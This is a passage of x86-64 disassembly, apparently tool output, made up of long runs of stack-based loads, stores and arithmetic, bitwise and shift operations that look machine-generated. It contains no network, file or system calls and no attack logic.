mov word [rsp + 0x9dc], ax
mov rax, qword [rsp + 0x5440]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6c]
sar eax, cl
mov byte [rsp + 0x7b], al
mov rax, qword [rsp + 0x56c8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140178e8c]
shl eax, cl
mov dword [rsp + 0x2b2c], eax
lea rax, [rsp + 0x2a44]
mov qword [rsp + 0x5938], rax
mov rax, qword [rsp + 0x4f00]
mov rcx, qword [rsp + 0x4f40]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x54e8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e50]
mov qword [rsp + 0x5940], rax
movsx eax, word [rsp + 0x974]
movsx ecx, word [rsp + 0x880]
xor eax, ecx
mov word [0x140178ed4], ax
movzx eax, byte [rsp + 0x83]
mov rcx, qword [rsp + 0x4f30]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x55e0]
mov byte [rcx], al
movzx eax, byte [rsp + 0xa1]
mov byte [rsp + 0xa8], al
mov rax, qword [rsp + 0x5400]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5918]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x8c0], ax
movzx eax, byte [rsp + 0xa4]
mov rcx, qword [rsp + 0x4be0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x9a], al
lea rax, [0x140178e78]
mov qword [rsp + 0x5948], rax
mov rax, qword [rsp + 0x5240]
mov ecx, dword [rsp + 0x2aec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2aa0], eax
mov rax, qword [rsp + 0x5860]
mov rax, qword [rax]
mov qword [rsp + 0x5950], rax
mov eax, dword [rsp + 0x2a34]
mov ecx, dword [rsp + 0x2af0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5308]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x85c]
add eax, ecx
mov rcx, qword [0x14017a0d8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x8e]
movzx ecx, byte [rsp + 0x63]
sub eax, ecx
mov rcx, qword [rsp + 0x58b8]
mov byte [rcx], al
movzx eax, word [rsp + 0x8e4]
mov word [rsp + 0x9e0], ax
mov rax, qword [rsp + 0x57c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x69]
sub eax, ecx
mov rcx, qword [rsp + 0x5818]
mov byte [rcx], al
lea rax, [rsp + 0x9bc]
mov qword [rsp + 0x5958], rax
mov rax, qword [rsp + 0x52e0]
mov eax, dword [rax]
mov ecx, dword [0x140178e8c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2aa0], eax
mov rax, qword [rsp + 0x4b90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b34]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x28cc], eax
lea rax, [rsp + 0x5610]
mov qword [rsp + 0x5960], rax
mov rax, qword [rsp + 0x52a8]
mov rcx, qword [rsp + 0x5078]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4ce8], rax
lea rax, [rsp + 0x56]
mov qword [0x14017a208], rax
movzx eax, byte [rsp + 0x54]
mov byte [rsp + 0xa9], al
mov rax, qword [rsp + 0x5818]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7b]
sar eax, cl
mov byte [rsp + 0xa5], al
movzx eax, byte [rsp + 0x7a]
movzx ecx, byte [rsp + 0x6f]
shl eax, cl
mov byte [rsp + 0xa2], al
lea rax, [rsp + 0x988]
mov qword [rsp + 0x5968], rax
mov rax, qword [rsp + 0x5220]
mov eax, dword [rax]
mov ecx, dword [0x140178e8c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x55d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4ed8]
mov qword [rsp + 0x5970], rax
mov eax, dword [rsp + 0x2b28]
mov ecx, dword [rsp + 0x2ad0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28ac], eax
lea rax, [rsp + 0x5718]
mov qword [rsp + 0x5978], rax
mov rax, qword [rsp + 0x5168]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4fe0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a120]
mov word [rcx], ax
movsx eax, byte [rsp + 0xa3]
mov rcx, qword [rsp + 0x5070]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x5030]
mov byte [rcx], al
movsx eax, word [rsp + 0x8e4]
mov rcx, qword [rsp + 0x4ef0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8fc], ax
lea rax, [rsp + 0x884]
mov qword [rsp + 0x5980], rax
movzx eax, word [rsp + 0x8b8]
mov rcx, qword [rsp + 0x4c20]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x898], ax
lea rax, [0x140178e6c]
mov qword [rsp + 0x5988], rax
mov rax, qword [rsp + 0x5310]
mov rcx, qword [rsp + 0x4f08]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x53a0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5078]
mov rcx, qword [rsp + 0x5948]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5078]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ee8]
mov rax, qword [rax]
mov qword [rsp + 0x5990], rax
lea rax, [rsp + 0x8f]
mov qword [0x14017a210], rax
mov rax, qword [rsp + 0x57c0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x57b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x80], al
mov rax, qword [0x14017a1d0]
movzx eax, word [rax]
mov word [rsp + 0x9e4], ax
mov rax, qword [rsp + 0x4ef8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b]
sub eax, ecx
mov byte [rsp + 0x5f], al
movzx eax, word [rsp + 0x95c]
mov rcx, qword [rsp + 0x4fb0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x978], ax
lea rax, [0x140178e8c]
mov qword [rsp + 0x5998], rax
mov rax, qword [rsp + 0x4ba8]
mov rcx, qword [rsp + 0x53f0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4aa0], rax
lea rax, [rsp + 0x2a80]
mov qword [rsp + 0x59a0], rax
mov rax, qword [rsp + 0x5848]
mov rcx, qword [0x14017a058]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x58c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5870]
movzx eax, byte [rax]
mov byte [rsp + 0xaa], al
movzx eax, word [rsp + 0x984]
mov rcx, qword [rsp + 0x5880]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x14017a190], ax
mov rax, qword [rsp + 0x57b0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x7b]
xor eax, ecx
mov rcx, qword [rsp + 0x4f60]
mov byte [rcx], al
mov rax, qword [rsp + 0x55e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5300]
movsx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5508]
mov word [rcx], ax
mov rax, qword [rsp + 0x55e0]
movzx eax, byte [rax]
mov byte [rsp + 0xab], al
mov rax, qword [rsp + 0x50c0]
mov ecx, dword [rsp + 0x2b04]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2af4], eax
lea rax, [rsp + 0x4f80]
mov qword [rsp + 0x59a8], rax
mov rax, qword [rsp + 0x5150]
mov rcx, qword [rsp + 0x4e98]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a58], eax
mov rax, qword [rsp + 0x5940]
mov rcx, qword [str.kD3]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4ee8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x8f0]
mov word [rsp + 0x9e8], ax
mov rax, qword [rsp + 0x5928]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5568]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x14017a050], al
movsx eax, byte [rsp + 0x5e]
mov rcx, qword [rsp + 0x53c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x85], al
lea rax, [rsp + 0x9b0]
mov qword [rsp + 0x59b0], rax
mov rax, qword [rsp + 0x4ef8]
movzx eax, byte [rax]
movzx ecx, byte [0x140178e73]
sub eax, ecx
mov byte [rsp + 0xa6], al
mov rax, qword [rsp + 0x5270]
mov rcx, qword [rsp + 0x4ca8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x29c4], eax
mov rax, qword [rsp + 0x4f00]
mov qword [rsp + 0x59b8], rax
mov rax, qword [rsp + 0x56f8]
mov rcx, qword [rsp + 0x5738]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a40], eax
mov rax, qword [rsp + 0x4e50]
mov qword [rsp + 0x59c0], rax
mov rax, qword [rsp + 0x4d38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5400]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x914], ax
movzx eax, byte [rsp + 0xa5]
mov byte [0x14017a0cb], al
movzx eax, byte [rsp + 0x8a]
mov rcx, qword [rsp + 0x57a8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x6b], al
lea rax, [rsp + 0x9d8]
mov qword [rsp + 0x59c8], rax
mov rax, qword [rsp + 0x4e08]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5670]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x9e4], ax
mov rax, qword [rsp + 0x5360]
mov rax, qword [rax]
mov qword [rsp + 0x59d0], rax
mov rax, qword [rsp + 0x5258]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x5458]
shr rax, cl
mov rcx, qword [rsp + 0x5420]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5530]
mov eax, dword [rax]
mov dword [rsp + 0x2b58], eax
mov rax, qword [rsp + 0x5408]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x14017a060]
shl eax, cl
mov dword [rsp + 0x28cc], eax
mov rax, qword [rsp + 0x5418]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x9f]
and eax, ecx
mov byte [rsp + 0x74], al
lea rax, [rsp + 0x970]
mov qword [0x14017a218], rax
mov rax, qword [0x14017a1c0]
movzx eax, byte [rax]
mov byte [rsp + 0xac], al
movzx eax, word [rsp + 0x888]
movzx ecx, word [rsp + 0x964]
add eax, ecx
mov rcx, qword [rsp + 0x4e70]
mov word [rcx], ax
mov rax, qword [rsp + 0x4fb8]
movzx eax, word [rax]
mov word [rsp + 0x9ec], ax
mov rax, qword [rsp + 0x4cb0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9ac]
sub eax, ecx
mov rcx, qword [rsp + 0x55c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5738]
mov rcx, qword [rsp + 0x5998]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2af8], eax
mov rax, qword [rsp + 0x5850]
mov rax, qword [rax]
mov qword [rsp + 0x59d8], rax
mov rax, qword [rsp + 0x5490]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b20]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b28], eax
mov rax, qword [rsp + 0x4fd0]
mov qword [rsp + 0x59e0], rax
mov rax, qword [rsp + 0x5350]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x57c0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x14017a057], al
mov rax, qword [0x14017a158]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x894]
sub eax, ecx
mov word [rsp + 0x878], ax
movzx eax, byte [rsp + 0x9a]
mov rcx, qword [rsp + 0x5608]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x63], al
lea rax, [rsp + 0x8f8]
mov qword [rsp + 0x59e8], rax
mov rax, qword [0x14017a1f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x908]
sub eax, ecx
mov rcx, qword [rsp + 0x56e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5230]
mov qword [rsp + 0x59f0], rax
mov rax, qword [rsp + 0x4b78]
mov rcx, qword [rsp + 0x5990]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x57c8], rax
mov rax, qword [rsp + 0x4b80]
mov ecx, dword [rsp + 0x2ac8]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2aa0], eax
lea rax, [rsp + 0x2af4]
mov qword [rsp + 0x59f8], rax
mov rax, qword [rsp + 0x5098]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x58b8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [0x14017a1e8]
mov byte [rcx], al
mov rax, qword [rsp + 0x57c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x89]
xor eax, ecx
mov rcx, qword [rsp + 0x5030]
mov byte [rcx], al
lea rax, [rsp + 0x9c]
mov qword [rsp + 0x5a00], rax
movzx eax, word [rsp + 0x8d8]
movzx ecx, word [rsp + 0x9c8]
sar eax, cl
mov word [rsp + 0x878], ax
lea rax, [rsp + 0x89c]
mov qword [rsp + 0x5a08], rax
mov rax, qword [rsp + 0x5808]
mov rcx, qword [rsp + 0x55a8]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5178], rax
mov rax, qword [rsp + 0x5288]
mov rcx, qword [rsp + 0x55f0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x56e8], rax
lea rax, [rsp + 0x2a78]
mov qword [rsp + 0x5a10], rax
mov rax, qword [rsp + 0x4aa8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b2c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b38], eax
lea rax, [rsp + 0x85]
mov qword [0x14017a220], rax
movzx eax, word [0x140178ed4]
mov word [rsp + 0x9f0], ax
movzx eax, word [rsp + 0x890]
movzx ecx, word [rsp + 0x878]
add eax, ecx
mov rcx, qword [rsp + 0x4c20]
mov word [rcx], ax
mov rax, qword [rsp + 0x5318]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x53c8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x66], al
lea rax, [0x140178e93]
mov qword [rsp + 0x5a18], rax
mov eax, dword [rsp + 0x2a9c]
mov ecx, dword [rsp + 0x2ad0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a44], eax
lea rax, [rsp + 0x4e88]
mov qword [rsp + 0x5a20], rax
mov rax, qword [rsp + 0x5370]
mov rcx, qword [rsp + 0x4e60]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4ac8], rax
mov eax, dword [rsp + 0x28bc]
mov ecx, dword [rsp + 0x2ac8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x53b8]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x68]
mov rcx, qword [rsp + 0x5350]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178e97], al
mov rax, qword [rsp + 0x5168]
movzx eax, word [rax]
mov word [rsp + 0x9f4], ax
mov rax, qword [rsp + 0x4e90]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x99]
add eax, ecx
mov rcx, qword [rsp + 0x5128]
mov byte [rcx], al
mov rax, qword [rsp + 0x53d8]
movzx eax, word [rax]
mov word [rsp + 0x9f8], ax
movsx eax, byte [0x14017a056]
mov rcx, qword [rsp + 0x4f60]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x6c], al
mov rax, qword [rsp + 0x5920]
mov qword [rsp + 0x5a28], rax
mov rax, qword [rsp + 0x50c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4e58]
mov qword [rsp + 0x5a30], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5a30]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x29c4], eax
mov rax, qword [rsp + 0x5618]
mov eax, dword [rax]
mov ecx, dword [0x14017a064]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5790]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5258]
mov rax, qword [rax]
mov qword [rsp + 0x5a38], rax
movzx eax, word [rsp + 0x964]
movzx ecx, word [rsp + 0x85c]
or eax, ecx
mov word [0x140178ea4], ax
movzx eax, byte [rsp + 0x70]
mov rcx, qword [rsp + 0x4d28]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4f38]
mov byte [rcx], al
mov rax, qword [rsp + 0x5318]
movzx eax, byte [rax]
mov byte [rsp + 0xad], al
movsx eax, word [rsp + 0x8e4]
movsx ecx, word [0x140178ed0]
sub eax, ecx
mov word [rsp + 0x8f8], ax
movzx eax, word [rsp + 0x9a4]
mov rcx, qword [rsp + 0x5980]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5700]
mov word [rcx], ax
mov rax, qword [rsp + 0x5650]
mov qword [rsp + 0x5a40], rax
mov rax, qword [rsp + 0x59a8]
mov rcx, qword [rsp + 0x5888]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5050]
mov qword [rcx], rax
lea rax, [rsp + 0x2a58]
mov qword [rsp + 0x5a48], rax
mov eax, dword [rsp + 0x2b24]
mov ecx, dword [rsp + 0x2a90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28cc], eax
movsx eax, word [rsp + 0x8f8]
mov rcx, qword [0x14017a0a0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x140178ed8], ax
mov rax, qword [rsp + 0x5058]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8b]
sub eax, ecx
mov byte [rsp + 0xa9], al
movzx eax, byte [rsp + 0x88]
mov byte [rsp + 0xae], al
mov rax, qword [rsp + 0x5168]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x50a8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x954], ax
mov rax, qword [rsp + 0x58e0]
movzx eax, byte [rax]
mov byte [rsp + 0xaf], al
mov rax, qword [rsp + 0x5930]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x58b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5348], rax
mov rax, qword [rsp + 0x5270]
mov ecx, dword [rsp + 0x2aa4]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x5680]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5050]
mov rax, qword [rax]
mov qword [rsp + 0x5a50], rax
mov rax, qword [rsp + 0x56f8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x5618]
mov qword [rsp + 0x5a58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5a58]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x5310]
mov dword [rcx], eax
movzx eax, byte [0x14017a054]
mov rcx, qword [rsp + 0x5428]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x14017a110]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d00]
movzx eax, word [rax]
mov word [rsp + 0x9fc], ax
movsx eax, byte [rsp + 0x79]
movsx ecx, byte [rsp + 0x9e]
sar eax, cl
mov byte [rsp + 0x7b], al
movzx eax, word [0x14017a1a0]
mov word [rsp + 0xa00], ax
mov rax, qword [rsp + 0x4c60]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5a08]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x51b8]
mov word [rcx], ax
mov rax, qword [rsp + 0x5328]
mov ecx, dword [rsp + 0x2a34]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4ca8]
mov dword [rcx], eax
lea rax, [0x140178e60]
mov qword [rsp + 0x5a60], rax
mov rax, qword [rsp + 0x56b0]
mov rcx, qword [rsp + 0x55d0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x59c0], rax
mov rax, qword [rsp + 0x4f20]
mov eax, dword [rax]
mov dword [rsp + 0x2b5c], eax
movsx eax, byte [0x140178e6b]
movsx ecx, byte [rsp + 0x9b]
sub eax, ecx
mov rcx, qword [rsp + 0x53a8]
mov byte [rcx], al
movsx eax, word [rsp + 0x8d4]
movsx ecx, word [rsp + 0x988]
sub eax, ecx
mov word [0x140178eb4], ax
movzx eax, word [rsp + 0x86c]
movzx ecx, word [0x14017a140]
add eax, ecx
mov rcx, qword [rsp + 0x4fe0]
mov word [rcx], ax
mov rax, qword [rsp + 0x57a8]
movzx eax, byte [rax]
mov byte [rsp + 0xb0], al
movzx eax, word [rsp + 0x86c]
mov rcx, qword [rsp + 0x5068]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4fb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x5788]
mov qword [rsp + 0x5a68], rax
mov eax, dword [rsp + 0x2908]
mov ecx, dword [rsp + 0x28bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2acc], eax
mov eax, dword [rsp + 0x2ad0]
mov ecx, dword [rsp + 0x2a88]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x55b8]
mov dword [rcx], eax
lea rax, [rsp + 0x56c0]
mov qword [rsp + 0x5a70], rax
movzx eax, byte [0x140178e74]
mov rcx, qword [rsp + 0x5898]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x70], al
movzx eax, word [rsp + 0x874]
mov word [0x14017a228], ax
lea rax, [rsp + 0xad]
mov qword [rsp + 0x5a78], rax
mov rax, qword [rsp + 0x5100]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x98c]
xor eax, ecx
mov word [rsp + 0x968], ax
lea rax, [rsp + 0x5a]
mov qword [rsp + 0x5a80], rax
mov rax, qword [rsp + 0x58f8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5000]
mov qword [rsp + 0x5a88], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5a88]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x58c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5758]
mov ecx, dword [rsp + 0x2b08]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x5240]
mov dword [rcx], eax
lea rax, [rsp + 0x28f4]
mov qword [rsp + 0x5a90], rax
mov rax, qword [rsp + 0x4ed8]
mov rcx, qword [rsp + 0x5088]
mov qword [rsp + 0x5a98], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5a98]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x5498]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5058]
movzx eax, byte [rax]
mov byte [rsp + 0xb1], al
movsx eax, word [rsp + 0x980]
movsx ecx, word [rsp + 0x8f8]
sub eax, ecx
mov word [0x140178e94], ax
mov rax, qword [rsp + 0x4c58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5040]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xa2], al
mov rax, qword [0x14017a1e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x8ec]
and eax, ecx
mov rcx, qword [rsp + 0x4ed0]
mov word [rcx], ax
movzx eax, byte [rsp + 0xa1]
mov byte [rsp + 0xb2], al
mov rax, qword [rsp + 0x4ee8]
mov rcx, qword [rsp + 0x5178]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5650], rax
lea rax, [0x140178e78]
mov qword [rsp + 0x5aa0], rax
mov rax, qword [rsp + 0x4b70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2af0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x28ac], eax
mov rax, qword [rsp + 0x57a0]
mov rcx, qword [rsp + 0x53b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4e98]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d38]
movzx eax, word [rax]
mov word [rsp + 0xa04], ax
lea rax, [rsp + 0x5f]
mov qword [0x14017a230], rax
movzx eax, word [rsp + 0x898]
movzx ecx, word [rsp + 0x8bc]
add eax, ecx
mov rcx, qword [rsp + 0x50a8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x74]
mov byte [rsp + 0xb3], al
mov rax, qword [rsp + 0x5048]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5670]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x55c8]
mov word [rcx], ax
mov rax, qword [rsp + 0x59e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e48]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x868], ax
lea rax, str.kD3
mov qword [rsp + 0x5aa8], rax
mov rax, qword [rsp + 0x50b0]
mov rcx, qword [rsp + 0x5758]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2adc], eax
mov rax, qword [rsp + 0x52a8]
mov rax, qword [rax]
mov qword [rsp + 0x5ab0], rax
mov eax, dword [rsp + 0x2ad0]
mov ecx, dword [rsp + 0x29c4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x53e0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x74]
mov rcx, qword [rsp + 0x5830]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [0x140178e9a], al
mov rax, qword [rsp + 0x5520]
movzx eax, byte [rax]
mov byte [rsp + 0xb4], al
mov rax, qword [0x14017a160]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5298]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x8e0], ax
movsx eax, byte [rsp + 0x81]
movsx ecx, byte [rsp + 0x80]
shl eax, cl
mov byte [rsp + 0x61], al
lea rax, [rsp + 0x930]
mov qword [rsp + 0x5ab8], rax
mov rax, qword [rsp + 0x5088]
mov rax, qword [rax]
mov rcx, qword [0x140178e60]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5050]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2b20]
mov dword [rsp + 0x2b60], eax
mov rax, qword [rsp + 0x5768]
mov rcx, qword [rsp + 0x4fd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x5940], rax
mov rax, qword [rsp + 0x55d8]
mov ecx, dword [rsp + 0x2b44]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x5790]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x63]
mov rcx, qword [rsp + 0x4e90]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a178]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ef8]
movzx eax, byte [rax]
mov byte [rsp + 0xb5], al
mov rax, qword [0x14017a1c8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5578]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x88c], ax
lea rax, [rsp + 0x994]
mov qword [rsp + 0x5ac0], rax
mov rax, qword [rsp + 0x5670]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x5208]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x8e8], ax
mov rax, qword [rsp + 0x4c80]
mov rcx, qword [rsp + 0x51c0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5950], rax
mov rax, qword [rsp + 0x5038]
mov eax, dword [rax]
mov dword [rsp + 0x2b64], eax
mov rax, qword [rsp + 0x4ea0]
mov rcx, qword [rsp + 0x58e8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4fe8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2af0]
mov dword [rsp + 0x2b68], eax
movsx eax, word [rsp + 0x940]
movsx ecx, word [rsp + 0x8d0]
sub eax, ecx
mov word [0x140178edc], ax
movsx eax, byte [rsp + 0x5d]
mov rcx, qword [0x14017a138]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x58e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d28]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7d]
xor eax, ecx
mov byte [rsp + 0x6b], al
lea rax, [rsp + 0x954]
mov qword [rsp + 0x5ac8], rax
mov rax, qword [rsp + 0x54e0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5568]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x5318]
mov byte [rcx], al
lea rax, [rsp + 0x2ab4]
mov qword [rsp + 0x5ad0], rax
mov rax, qword [rsp + 0x58c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x5930]
mov qword [rsp + 0x5ad8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5ad8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x5778], rax
mov eax, dword [0x14017a060]
mov dword [rsp + 0x2b6c], eax
mov rax, qword [rsp + 0x5448]
mov rcx, qword [rsp + 0x57d8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x5498]
mov qword [rcx], rax
movsx eax, byte [rsp + 0xa1]
mov rcx, qword [rsp + 0x4da0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x14017a128]
mov byte [rcx], al
movzx eax, word [0x140178e98]
mov rcx, qword [rsp + 0x4fb8]
